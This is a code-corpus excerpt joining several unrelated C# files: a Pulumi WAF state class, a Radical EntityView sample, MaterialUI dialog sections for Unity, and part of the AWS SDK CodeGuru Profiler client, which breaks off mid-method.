/// Specifies the parts of web requests that you want to inspect the size of.
/// </summary>
public InputList<Inputs.SizeConstraintSetSizeConstraintGetArgs> SizeConstraints
{
get => _sizeConstraints ?? (_sizeConstraints = new InputList<Inputs.SizeConstraintSetSizeConstraintGetArgs>());
set => _sizeConstraints = value;
}
public SizeConstraintSetState()
{
}
}
}
| 39.295858 | 151 | 0.597651 | [
"ECL-2.0",
"Apache-2.0"
] | aamir-locus/pulumi-aws | sdk/dotnet/WafRegional/SizeConstraintSet.cs | 6,641 | C# |
using Radical.ComponentModel;
using Radical.Model;
using Radical.Samples.ComponentModel;
using System.Collections.Generic;
namespace Radical.Samples.Presentation.EntityView
{
[Sample( Title = "EntityView Primer", Category = Categories.IEntityView )]
public class HelloWorldViewModel : SampleViewModel
{
public HelloWorldViewModel()
{
var data = new List<Person>()
{
new Person( "topics" )
{
FirstName = "Mauro",
LastName = "Servienti"
},
new Person( "gioffy" )
{
FirstName = "Giorgio",
LastName = "Formica"
},
new Person( "imperugo" )
{
FirstName = "Ugo",
LastName = "Lattanzi"
}
};
Items = new EntityView<Person>( data );
Items.AddingNew += ( s, e ) =>
{
e.NewItem = new Person("--empty--");
};
}
public IEntityView<Person> Items { get; private set; }
}
} | 20.139535 | 75 | 0.623557 | [
"MIT"
] | RadicalFx/documentation | samples/Showcases/Radical.Samples/Presentation/EntityView/HelloWorldViewModel.cs | 868 | C# |
// Copyright 2016 MaterialUI for Unity http://materialunity.com
// Please see license file for terms and conditions of use, and more information.
using System;
using UnityEngine;
using UnityEngine.UI;
using Object = UnityEngine.Object;
namespace MaterialUI
{
[Serializable]
[AddComponentMenu("MaterialUI/Dialogs/Title Section", 100)]
public class DialogTitleSection
{
[SerializeField]
private Text m_Text;
public Text text
{
get { return m_Text; }
}
[SerializeField]
private Graphic m_Sprite;
public Graphic sprite
{
get { return m_Sprite; }
}
[SerializeField]
private VectorImage m_VectorImageData;
public VectorImage vectorImageData
{
get { return m_VectorImageData; }
}
public void SetTitle(string titleText, ImageData icon)
{
if (!string.IsNullOrEmpty(titleText) || icon != null)
{
if (!string.IsNullOrEmpty(titleText))
{
m_Text.text = titleText;
}
else
{
m_Text.gameObject.SetActive(false);
}
if (icon == null)
{
m_Sprite.gameObject.SetActive(false);
m_VectorImageData.gameObject.SetActive(false);
}
else
{
if (icon.imageDataType == ImageDataType.VectorImage)
{
m_VectorImageData.vectorImageData = icon.vectorImageData;
m_Sprite.gameObject.SetActive(false);
}
else
{
m_Sprite.GetComponent<Graphic>().SetImage(icon);
m_VectorImageData.gameObject.SetActive(false);
}
}
}
else
{
m_Text.transform.parent.gameObject.SetActive(false);
}
}
}
[Serializable]
[AddComponentMenu("MaterialUI/Dialogs/Button Section", 100)]
public class DialogButtonSection
{
private Action m_OnAffirmativeButtonClicked;
public Action onAffirmativeButtonClicked
{
get { return m_OnAffirmativeButtonClicked; }
}
private Action m_OnDismissiveButtonClicked;
public Action onDismissiveButtonClicked
{
get { return m_OnDismissiveButtonClicked; }
}
[SerializeField]
private MaterialButton m_AffirmativeButton;
public MaterialButton affirmativeButton
{
get { return m_AffirmativeButton; }
}
[SerializeField]
private MaterialButton m_DismissiveButton;
public MaterialButton dismissiveButton
{
get { return m_DismissiveButton; }
}
private bool m_ShowDismissiveButton;
public void SetButtons(Action onAffirmativeButtonClick, string affirmativeButtonText, Action onDismissiveButtonClick, string dismissiveButtonText)
{
SetAffirmativeButton(onAffirmativeButtonClick, affirmativeButtonText);
SetDismissiveButton(onDismissiveButtonClick, dismissiveButtonText);
}
public void SetAffirmativeButton(Action onButtonClick, string text)
{
m_OnAffirmativeButtonClicked = onButtonClick;
m_AffirmativeButton.text.text = text;
}
public void SetDismissiveButton(Action onButtonClick, string text)
{
if (string.IsNullOrEmpty(text) && onButtonClick == null) return;
m_ShowDismissiveButton = true;
m_OnDismissiveButtonClicked = onButtonClick;
m_DismissiveButton.text.text = text;
}
public void SetupButtonLayout(RectTransform dialogRectTransform)
{
m_DismissiveButton.gameObject.SetActive(m_ShowDismissiveButton);
LayoutRebuilder.ForceRebuildLayoutImmediate(dialogRectTransform);
if (m_AffirmativeButton.minWidth + m_DismissiveButton.minWidth + 24f > DialogManager.rectTransform.rect.width - 48f)
{
Object.DestroyImmediate(m_AffirmativeButton.rectTransform.parent.GetComponent<HorizontalLayoutGroup>());
VerticalLayoutGroup verticalLayoutGroup = m_AffirmativeButton.rectTransform.parent.gameObject.AddComponent<VerticalLayoutGroup>();
verticalLayoutGroup.padding = new RectOffset(8, 8, 8, 8);
verticalLayoutGroup.childAlignment = TextAnchor.UpperRight;
verticalLayoutGroup.childForceExpandHeight = false;
verticalLayoutGroup.childForceExpandWidth = false;
}
}
public void OnAffirmativeButtonClicked()
{
m_OnAffirmativeButtonClicked.InvokeIfNotNull();
}
public void OnDismissiveButtonClicked()
{
m_OnDismissiveButtonClicked.InvokeIfNotNull();
}
}
} | 30.25641 | 148 | 0.647458 | [
"MIT"
] | 11one/PanzerWar | Assets/MaterialUI/Scripts/Components/Dialogs/DialogSections.cs | 4,722 | C# |
/*
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*
* Do not modify this file. This file is generated from the codeguruprofiler-2019-07-18.normal.json service model.
*/
using System;
using System.Collections.Generic;
using System.Net;
using Amazon.CodeGuruProfiler.Model;
using Amazon.CodeGuruProfiler.Model.Internal.MarshallTransformations;
using Amazon.CodeGuruProfiler.Internal;
using Amazon.Runtime;
using Amazon.Runtime.Internal;
using Amazon.Runtime.Internal.Auth;
using Amazon.Runtime.Internal.Transform;
namespace Amazon.CodeGuruProfiler
{
/// <summary>
/// Implementation for accessing CodeGuruProfiler
///
/// This section provides documentation for the Amazon CodeGuru Profiler API operations.
///
/// <pre><code> <p>Amazon CodeGuru Profiler collects runtime performance data from
/// your live applications, and provides recommendations that can help you fine-tune your
/// application performance. Using machine learning algorithms, CodeGuru Profiler can
/// help you find your most expensive lines of code and suggest ways you can improve efficiency
/// and remove CPU bottlenecks. </p> <p>Amazon CodeGuru Profiler provides
/// different visualizations of profiling data to help you identify what code is running
/// on the CPU, see how much time is consumed, and suggest ways to reduce CPU utilization.
/// </p> <note> <p>Amazon CodeGuru Profiler currently supports applications
/// written in all Java virtual machine (JVM) languages. While CodeGuru Profiler supports
/// both visualizations and recommendations for applications written in Java, it can also
/// generate visualizations and a subset of recommendations for applications written in
/// other JVM languages.</p> </note> <p> For more information, see <a
/// href="https://docs.aws.amazon.com/codeguru/latest/profiler-ug/what-is-codeguru-profiler.html">What
/// is Amazon CodeGuru Profiler</a> in the <i>Amazon CodeGuru Profiler User
/// Guide</i>. </p> </code></pre>
/// </summary>
public partial class AmazonCodeGuruProfilerClient : AmazonServiceClient, IAmazonCodeGuruProfiler
{
private static IServiceMetadata serviceMetadata = new AmazonCodeGuruProfilerMetadata();
#region Constructors
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with the credentials loaded from the application's
/// default configuration, and if unsuccessful from the Instance Profile service on an EC2 instance.
///
/// Example App.config with credentials set.
/// <code>
/// <?xml version="1.0" encoding="utf-8" ?>
/// <configuration>
/// <appSettings>
/// <add key="AWSProfileName" value="AWS Default"/>
/// </appSettings>
/// </configuration>
/// </code>
///
/// </summary>
public AmazonCodeGuruProfilerClient()
: base(FallbackCredentialsFactory.GetCredentials(), new AmazonCodeGuruProfilerConfig()) { }
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with the credentials loaded from the application's
/// default configuration, and if unsuccessful from the Instance Profile service on an EC2 instance.
///
/// Example App.config with credentials set.
/// <code>
/// <?xml version="1.0" encoding="utf-8" ?>
/// <configuration>
/// <appSettings>
/// <add key="AWSProfileName" value="AWS Default"/>
/// </appSettings>
/// </configuration>
/// </code>
///
/// </summary>
/// <param name="region">The region to connect.</param>
public AmazonCodeGuruProfilerClient(RegionEndpoint region)
: base(FallbackCredentialsFactory.GetCredentials(), new AmazonCodeGuruProfilerConfig{RegionEndpoint = region}) { }
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with the credentials loaded from the application's
/// default configuration, and if unsuccessful from the Instance Profile service on an EC2 instance.
///
/// Example App.config with credentials set.
/// <code>
/// <?xml version="1.0" encoding="utf-8" ?>
/// <configuration>
/// <appSettings>
/// <add key="AWSProfileName" value="AWS Default"/>
/// </appSettings>
/// </configuration>
/// </code>
///
/// </summary>
/// <param name="config">The AmazonCodeGuruProfilerClient Configuration Object</param>
public AmazonCodeGuruProfilerClient(AmazonCodeGuruProfilerConfig config)
: base(FallbackCredentialsFactory.GetCredentials(), config) { }
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with AWS Credentials
/// </summary>
/// <param name="credentials">AWS Credentials</param>
public AmazonCodeGuruProfilerClient(AWSCredentials credentials)
: this(credentials, new AmazonCodeGuruProfilerConfig())
{
}
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with AWS Credentials
/// </summary>
/// <param name="credentials">AWS Credentials</param>
/// <param name="region">The region to connect.</param>
public AmazonCodeGuruProfilerClient(AWSCredentials credentials, RegionEndpoint region)
: this(credentials, new AmazonCodeGuruProfilerConfig{RegionEndpoint = region})
{
}
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with AWS Credentials and an
/// AmazonCodeGuruProfilerClient Configuration object.
/// </summary>
/// <param name="credentials">AWS Credentials</param>
/// <param name="clientConfig">The AmazonCodeGuruProfilerClient Configuration Object</param>
public AmazonCodeGuruProfilerClient(AWSCredentials credentials, AmazonCodeGuruProfilerConfig clientConfig)
: base(credentials, clientConfig)
{
}
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with AWS Access Key ID and AWS Secret Key
/// </summary>
/// <param name="awsAccessKeyId">AWS Access Key ID</param>
/// <param name="awsSecretAccessKey">AWS Secret Access Key</param>
public AmazonCodeGuruProfilerClient(string awsAccessKeyId, string awsSecretAccessKey)
: this(awsAccessKeyId, awsSecretAccessKey, new AmazonCodeGuruProfilerConfig())
{
}
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with AWS Access Key ID and AWS Secret Key
/// </summary>
/// <param name="awsAccessKeyId">AWS Access Key ID</param>
/// <param name="awsSecretAccessKey">AWS Secret Access Key</param>
/// <param name="region">The region to connect.</param>
public AmazonCodeGuruProfilerClient(string awsAccessKeyId, string awsSecretAccessKey, RegionEndpoint region)
: this(awsAccessKeyId, awsSecretAccessKey, new AmazonCodeGuruProfilerConfig() {RegionEndpoint=region})
{
}
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with AWS Access Key ID, AWS Secret Key and an
/// AmazonCodeGuruProfilerClient Configuration object.
/// </summary>
/// <param name="awsAccessKeyId">AWS Access Key ID</param>
/// <param name="awsSecretAccessKey">AWS Secret Access Key</param>
/// <param name="clientConfig">The AmazonCodeGuruProfilerClient Configuration Object</param>
public AmazonCodeGuruProfilerClient(string awsAccessKeyId, string awsSecretAccessKey, AmazonCodeGuruProfilerConfig clientConfig)
: base(awsAccessKeyId, awsSecretAccessKey, clientConfig)
{
}
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with AWS Access Key ID and AWS Secret Key
/// </summary>
/// <param name="awsAccessKeyId">AWS Access Key ID</param>
/// <param name="awsSecretAccessKey">AWS Secret Access Key</param>
/// <param name="awsSessionToken">AWS Session Token</param>
public AmazonCodeGuruProfilerClient(string awsAccessKeyId, string awsSecretAccessKey, string awsSessionToken)
: this(awsAccessKeyId, awsSecretAccessKey, awsSessionToken, new AmazonCodeGuruProfilerConfig())
{
}
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with AWS Access Key ID and AWS Secret Key
/// </summary>
/// <param name="awsAccessKeyId">AWS Access Key ID</param>
/// <param name="awsSecretAccessKey">AWS Secret Access Key</param>
/// <param name="awsSessionToken">AWS Session Token</param>
/// <param name="region">The region to connect.</param>
public AmazonCodeGuruProfilerClient(string awsAccessKeyId, string awsSecretAccessKey, string awsSessionToken, RegionEndpoint region)
: this(awsAccessKeyId, awsSecretAccessKey, awsSessionToken, new AmazonCodeGuruProfilerConfig{RegionEndpoint = region})
{
}
/// <summary>
/// Constructs AmazonCodeGuruProfilerClient with AWS Access Key ID, AWS Secret Key and an
/// AmazonCodeGuruProfilerClient Configuration object.
/// </summary>
/// <param name="awsAccessKeyId">AWS Access Key ID</param>
/// <param name="awsSecretAccessKey">AWS Secret Access Key</param>
/// <param name="awsSessionToken">AWS Session Token</param>
/// <param name="clientConfig">The AmazonCodeGuruProfilerClient Configuration Object</param>
public AmazonCodeGuruProfilerClient(string awsAccessKeyId, string awsSecretAccessKey, string awsSessionToken, AmazonCodeGuruProfilerConfig clientConfig)
: base(awsAccessKeyId, awsSecretAccessKey, awsSessionToken, clientConfig)
{
}
#endregion
#region Overrides
/// <summary>
/// Creates the signer for the service.
/// </summary>
protected override AbstractAWSSigner CreateSigner()
{
return new AWS4Signer();
}
/// <summary>
/// Capture metadata for the service.
/// </summary>
protected override IServiceMetadata ServiceMetadata
{
get
{
return serviceMetadata;
}
}
#endregion
#region Dispose
/// <summary>
/// Disposes the service client.
/// </summary>
protected override void Dispose(bool disposing)
{
base.Dispose(disposing);
}
#endregion
#region AddNotificationChannels
/// <summary>
/// Add up to 2 anomaly notifications channels for a profiling group.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the AddNotificationChannels service method.</param>
///
/// <returns>The response from the AddNotificationChannels service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ConflictException">
/// The requested operation would cause a conflict with the current state of a service
/// resource associated with the request. Resolve the conflict before retrying this request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ServiceQuotaExceededException">
/// You have exceeded your service quota. To perform the requested action, remove some
/// of the relevant resources, or use <a href="https://docs.aws.amazon.com/servicequotas/latest/userguide/intro.html">Service
/// Quotas</a> to request a service quota increase.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/AddNotificationChannels">REST API Reference for AddNotificationChannels Operation</seealso>
public virtual AddNotificationChannelsResponse AddNotificationChannels(AddNotificationChannelsRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = AddNotificationChannelsRequestMarshaller.Instance;
options.ResponseUnmarshaller = AddNotificationChannelsResponseUnmarshaller.Instance;
return Invoke<AddNotificationChannelsResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the AddNotificationChannels operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the AddNotificationChannels operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndAddNotificationChannels
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/AddNotificationChannels">REST API Reference for AddNotificationChannels Operation</seealso>
public virtual IAsyncResult BeginAddNotificationChannels(AddNotificationChannelsRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = AddNotificationChannelsRequestMarshaller.Instance;
options.ResponseUnmarshaller = AddNotificationChannelsResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the AddNotificationChannels operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginAddNotificationChannels.</param>
///
/// <returns>Returns a AddNotificationChannelsResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/AddNotificationChannels">REST API Reference for AddNotificationChannels Operation</seealso>
public virtual AddNotificationChannelsResponse EndAddNotificationChannels(IAsyncResult asyncResult)
{
return EndInvoke<AddNotificationChannelsResponse>(asyncResult);
}
#endregion
#region BatchGetFrameMetricData
/// <summary>
/// Returns the time series of values for a requested list of frame metrics from a time
/// period.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the BatchGetFrameMetricData service method.</param>
///
/// <returns>The response from the BatchGetFrameMetricData service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/BatchGetFrameMetricData">REST API Reference for BatchGetFrameMetricData Operation</seealso>
public virtual BatchGetFrameMetricDataResponse BatchGetFrameMetricData(BatchGetFrameMetricDataRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = BatchGetFrameMetricDataRequestMarshaller.Instance;
options.ResponseUnmarshaller = BatchGetFrameMetricDataResponseUnmarshaller.Instance;
return Invoke<BatchGetFrameMetricDataResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the BatchGetFrameMetricData operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the BatchGetFrameMetricData operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndBatchGetFrameMetricData
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/BatchGetFrameMetricData">REST API Reference for BatchGetFrameMetricData Operation</seealso>
public virtual IAsyncResult BeginBatchGetFrameMetricData(BatchGetFrameMetricDataRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = BatchGetFrameMetricDataRequestMarshaller.Instance;
options.ResponseUnmarshaller = BatchGetFrameMetricDataResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the BatchGetFrameMetricData operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginBatchGetFrameMetricData.</param>
///
/// <returns>Returns a BatchGetFrameMetricDataResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/BatchGetFrameMetricData">REST API Reference for BatchGetFrameMetricData Operation</seealso>
public virtual BatchGetFrameMetricDataResponse EndBatchGetFrameMetricData(IAsyncResult asyncResult)
{
return EndInvoke<BatchGetFrameMetricDataResponse>(asyncResult);
}
#endregion
#region ConfigureAgent
/// <summary>
/// Used by profiler agents to report their current state and to receive remote configuration
/// updates. For example, <code>ConfigureAgent</code> can be used to tell and agent whether
/// to profile or not and for how long to return profiling data.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the ConfigureAgent service method.</param>
///
/// <returns>The response from the ConfigureAgent service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ConfigureAgent">REST API Reference for ConfigureAgent Operation</seealso>
public virtual ConfigureAgentResponse ConfigureAgent(ConfigureAgentRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = ConfigureAgentRequestMarshaller.Instance;
options.ResponseUnmarshaller = ConfigureAgentResponseUnmarshaller.Instance;
return Invoke<ConfigureAgentResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the ConfigureAgent operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the ConfigureAgent operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndConfigureAgent
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ConfigureAgent">REST API Reference for ConfigureAgent Operation</seealso>
public virtual IAsyncResult BeginConfigureAgent(ConfigureAgentRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = ConfigureAgentRequestMarshaller.Instance;
options.ResponseUnmarshaller = ConfigureAgentResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the ConfigureAgent operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginConfigureAgent.</param>
///
/// <returns>Returns a ConfigureAgentResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ConfigureAgent">REST API Reference for ConfigureAgent Operation</seealso>
public virtual ConfigureAgentResponse EndConfigureAgent(IAsyncResult asyncResult)
{
return EndInvoke<ConfigureAgentResponse>(asyncResult);
}
#endregion
#region CreateProfilingGroup
/// <summary>
/// Creates a profiling group.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the CreateProfilingGroup service method.</param>
///
/// <returns>The response from the CreateProfilingGroup service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ConflictException">
/// The requested operation would cause a conflict with the current state of a service
/// resource associated with the request. Resolve the conflict before retrying this request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ServiceQuotaExceededException">
/// You have exceeded your service quota. To perform the requested action, remove some
/// of the relevant resources, or use <a href="https://docs.aws.amazon.com/servicequotas/latest/userguide/intro.html">Service
/// Quotas</a> to request a service quota increase.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/CreateProfilingGroup">REST API Reference for CreateProfilingGroup Operation</seealso>
public virtual CreateProfilingGroupResponse CreateProfilingGroup(CreateProfilingGroupRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = CreateProfilingGroupRequestMarshaller.Instance;
options.ResponseUnmarshaller = CreateProfilingGroupResponseUnmarshaller.Instance;
return Invoke<CreateProfilingGroupResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the CreateProfilingGroup operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the CreateProfilingGroup operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndCreateProfilingGroup
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/CreateProfilingGroup">REST API Reference for CreateProfilingGroup Operation</seealso>
public virtual IAsyncResult BeginCreateProfilingGroup(CreateProfilingGroupRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = CreateProfilingGroupRequestMarshaller.Instance;
options.ResponseUnmarshaller = CreateProfilingGroupResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the CreateProfilingGroup operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginCreateProfilingGroup.</param>
///
/// <returns>Returns a CreateProfilingGroupResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/CreateProfilingGroup">REST API Reference for CreateProfilingGroup Operation</seealso>
public virtual CreateProfilingGroupResponse EndCreateProfilingGroup(IAsyncResult asyncResult)
{
return EndInvoke<CreateProfilingGroupResponse>(asyncResult);
}
#endregion
#region DeleteProfilingGroup
/// <summary>
/// Deletes a profiling group.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the DeleteProfilingGroup service method.</param>
///
/// <returns>The response from the DeleteProfilingGroup service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/DeleteProfilingGroup">REST API Reference for DeleteProfilingGroup Operation</seealso>
public virtual DeleteProfilingGroupResponse DeleteProfilingGroup(DeleteProfilingGroupRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = DeleteProfilingGroupRequestMarshaller.Instance;
options.ResponseUnmarshaller = DeleteProfilingGroupResponseUnmarshaller.Instance;
return Invoke<DeleteProfilingGroupResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the DeleteProfilingGroup operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the DeleteProfilingGroup operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndDeleteProfilingGroup
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/DeleteProfilingGroup">REST API Reference for DeleteProfilingGroup Operation</seealso>
public virtual IAsyncResult BeginDeleteProfilingGroup(DeleteProfilingGroupRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = DeleteProfilingGroupRequestMarshaller.Instance;
options.ResponseUnmarshaller = DeleteProfilingGroupResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the DeleteProfilingGroup operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginDeleteProfilingGroup.</param>
///
/// <returns>Returns a DeleteProfilingGroupResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/DeleteProfilingGroup">REST API Reference for DeleteProfilingGroup Operation</seealso>
public virtual DeleteProfilingGroupResponse EndDeleteProfilingGroup(IAsyncResult asyncResult)
{
return EndInvoke<DeleteProfilingGroupResponse>(asyncResult);
}
#endregion
#region DescribeProfilingGroup
/// <summary>
/// Returns a <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_ProfilingGroupDescription.html">
/// <code>ProfilingGroupDescription</code> </a> object that contains information about
/// the requested profiling group.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the DescribeProfilingGroup service method.</param>
///
/// <returns>The response from the DescribeProfilingGroup service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/DescribeProfilingGroup">REST API Reference for DescribeProfilingGroup Operation</seealso>
public virtual DescribeProfilingGroupResponse DescribeProfilingGroup(DescribeProfilingGroupRequest request)
{
var options = new InvokeOptions();
